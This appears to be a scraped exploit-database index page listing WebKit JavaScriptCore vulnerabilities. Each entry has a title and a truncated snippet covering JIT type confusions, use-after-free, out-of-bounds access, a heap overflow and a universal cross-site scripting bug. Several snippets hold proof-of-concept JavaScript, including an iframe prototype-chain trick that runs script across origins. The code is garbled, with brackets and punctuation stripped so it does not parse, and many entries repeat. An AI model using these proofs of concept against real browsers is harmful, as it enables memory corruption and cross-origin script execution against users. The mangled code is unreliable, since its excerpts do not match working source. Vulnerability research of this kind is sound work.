WebKit-CVE-2016-4622

WebKit CVE-2016-4622 Analysis: Deep Dive into the Slice ValueOf Fastpath Vulnerability Comprehensive analysis and exploitation of the WebKit JavaScript Core vulnerability that enables memory disclosure through Array.slice manipulation Table of Contents Executive Summary Vulnerability Overview...

Webkit JSC: JIT - Uninitialized Variable Access in ArgumentsEliminationPhase::transform

https://github.com/WebKit/webkit/blob/94e868c940d46c5745869192d07255331d00102b/Source/JavaScriptCore/dfg/DFGArgumentsEliminationPhase.cppL743 case GetByVal: ... unsigned numberOfArgumentsToSkip = 0; if candidate-op == PhantomCreateRest numberOfArgumentsToSkip = candidate-numberOfArgumentsToSkip;...

Webkit JSC: JIT - Uninitialized Variable Access in ArgumentsEliminationPhase::transform

Webkit JSC: JIT - Uninitialized Variable Access in ArgumentsEliminationPhase::transform https://github.com/WebKit/webkit/blob/94e868c940d46c5745869192d07255331d00102b/Source/JavaScriptCore/dfg/DFGArgumentsEliminationPhase.cppL743 case GetByVal: ... unsigned numberOfArgumentsToSkip = 0; if...

WebKit JSC - reifyStaticProperty Needs to set the PropertyAttribute::CustomAccessor flag for CustomGetterSetter

/ https://github.com/WebKit/webkit/blob/3fff8c40c665a09de5e3ede46fc35908f69353c3/Source/JavaScriptCore/runtime/Lookup.hL392 if value.attributes & PropertyAttribute::PropertyCallback JSValue result = value.lazyPropertyCallbackvm, &thisObj; thisObj.putDirectvm, propertyName, result,...

WebKit JSC JIT - GetIndexedPropertyStorage Use-After-Free Exploit

/ The doesGC function simply takes a node, and tells if it might cause a garbage collection. This function is used to determine whether to insert write barriers. But it's missing GetIndexedPropertyStorage that can cause a garbage collection via rope strings. As a result, it can lead to UaF. PoC: ...

WebKit JSC - JSArray::shiftCountWithArrayStorage Out-of-Bounds ReadWrite

WebKit JSC - JSArray::shiftCountWithArrayStorage Out-of-Bounds ReadWrite / bool JSArray::shiftCountWithArrayStorageVM& vm, unsigned startIndex, unsigned count, ArrayStorage storage unsigned oldLength = storage-length; RELEASEASSERTcount hasHoles && this-structurevm-holesMustForwardToPrototypevm,...

WebKit JSC JIT JSPropertyNameEnumerator Type Confusion

WebKit: JSC: JIT: A bug with JSPropertyNameEnumerator CVE-2018-4416 When a for-in loop is executed, a JSPropertyNameEnumerator object is created at the beginning and used to store the information of the input object to the for-in loop. Inside the loop, the structure ID of the "this" object of eve...

WebKit JSC - BytecodeGenerator::hoistSloppyModeFunctionIfNecessary Exploit

WebKit JSC - BytecodeGenerator::hoistSloppyModeFunctionIfNecessary Does not Invalidate the ForInContext Object / This is simillar to issue 1263 . When hoisting a function onto the outer scope, if it overwrites the iteration variable for a for-in loop it should invalidate the corresponding...

WebKit JSC - BytecodeGenerator::hoistSloppyModeFunctionIfNecessary Does not Invalidate the ForInContext Object

WebKit JSC - BytecodeGenerator::hoistSloppyModeFunctionIfNecessary Does not Invalidate the ForInContext Object / This is simillar to issue 1263 . When hoisting a function onto the outer scope, if it overwrites the iteration variable for a for-in loop it should invalidate the corresponding...

WebKit JSC - 'BytecodeGenerator::emitGetByVal' Incorrect Optimization (2)

function f let o = ; for let i in xx: 0 for i of 0 printoi; f;...

WebKit JSC - BytecodeGenerator::emitGetByVal Incorrect Optimization (2)

WebKit JSC - BytecodeGenerator::emitGetByVal Incorrect Optimization 2 function f let o = ; for let i in xx: 0 for i of 0 printoi; f;...

WebKit JSC Incorrect Optimization

WebKit: JSC: Incorrect for-in optimization 2 CVE-2017-7117 The following PoC bypasses the fix for the https://bugs.chromium.org/p/project-zero/issues/detail?id=1263 WebKit: JSC: Incorrect optimization in BytecodeGenerator::emitGetByVal PoC: function f let o = ; for let i in xx: 0 for i of 0...

WebKit JSC BytecodeGenerator::emitGetByVal Incorrect Optimization Exploit

Exploit for multiple platform in category dos / poc WebKit: JSC: Incorrect optimization in BytecodeGenerator::emitGetByVal CVE-2017-7061 Let's start with JS code. let o = ; for let i in xx: 0 oi; 0; i-- ForInContext& context = mforInContextStacki - 1.get; if context.local != property continue; if...

WebKit JSC - 'DFG::ByteCodeParser::flush(InlineStackEntry* inlineStackEntry)' Incorrect Scope Register Handling

scopeRegister; mcodeBlock| instead of |mcodeBlock|. But it doesn't. As a result, the scope register of |inlineStackEntry-mcodeBlock| may have an incorrect offset in the stack layout phase. PoC: -- function f function eval'1'; f; ; throw 1; f;...

WebKit JSC - 'JSObject::putInlineSlow' / 'JSValue::putToPrimitive' Universal Cross-Site Scripting

let f = document.body.appendChilddocument.createElement'iframe'; let loc = f.contentWindow.location; f.onload = = let a = 1.2; a.proto.proto = f.contentWindow; a'test' = toString: function arguments.callee.caller.constructor'alertlocation'; ; ; f.src = 'data:text/html,' +...

WebKit JSC - JSObject::putInlineSlow JSValue::putToPrimitive Universal Cross-Site Scripting

WebKit JSC - JSObject::putInlineSlow JSValue::putToPrimitive Universal Cross-Site Scripting let f = document.body.appendChilddocument.createElement'iframe'; let loc = f.contentWindow.location; f.onload = = let a = 1.2; a.proto.proto = f.contentWindow; a'test' = toString: function...

WebKit JSC - arrayProtoFuncSplice does not Initialize all Indices Exploit

Exploit for multiple platform in category dos / poc lexicalGlobalObject-arrayStructureForIndexingTypeDuringAllocationArrayWithUndecided, actualDeleteCount; if !result return JSValue::encodethrowOutOfMemoryErrorexec, scope; for unsigned k = 0; k initializeIndexvm, k, v;...

WebKit JSC - JSGlobalObject::haveABadTime Causes Type Confusions Exploit

Exploit for multiple platform in category dos / poc switchToSlowPutArrayStoragevm; = MINSPARSEARRAYINDEX || structurevm-holesMustForwardToPrototypevm return nullptr; Structure...

WebKit JSC Intl.getCanonicalLocales Heap Buffer Overflow

WebKit: JSC: heap buffer overflow in Intl.getCanonicalLocales CVE-2017-6984 Here's tryCreateArrayButterfly which is invoked from intlObjectFuncGetCanonicalLocales to create a JSArray object. inline Butterfly tryCreateArrayButterflyVM& vm, JSCell intendedOwner, unsigned initialLength Butterfly...

WebKit JSC emitPutDerivedConstructorToArrowFunctionContextScope Incorrect Check(CVE-2017-2531)

WebKit: JSC: incorrect check in emitPutDerivedConstructorToArrowFunctionContextScope When a super expression is used in an arrow function, the following code, which generates bytecode, is called. if needsToUpdateArrowFunctionContext && !codeBlock-isArrowFunction bool canReuseLexicalEnvironment =...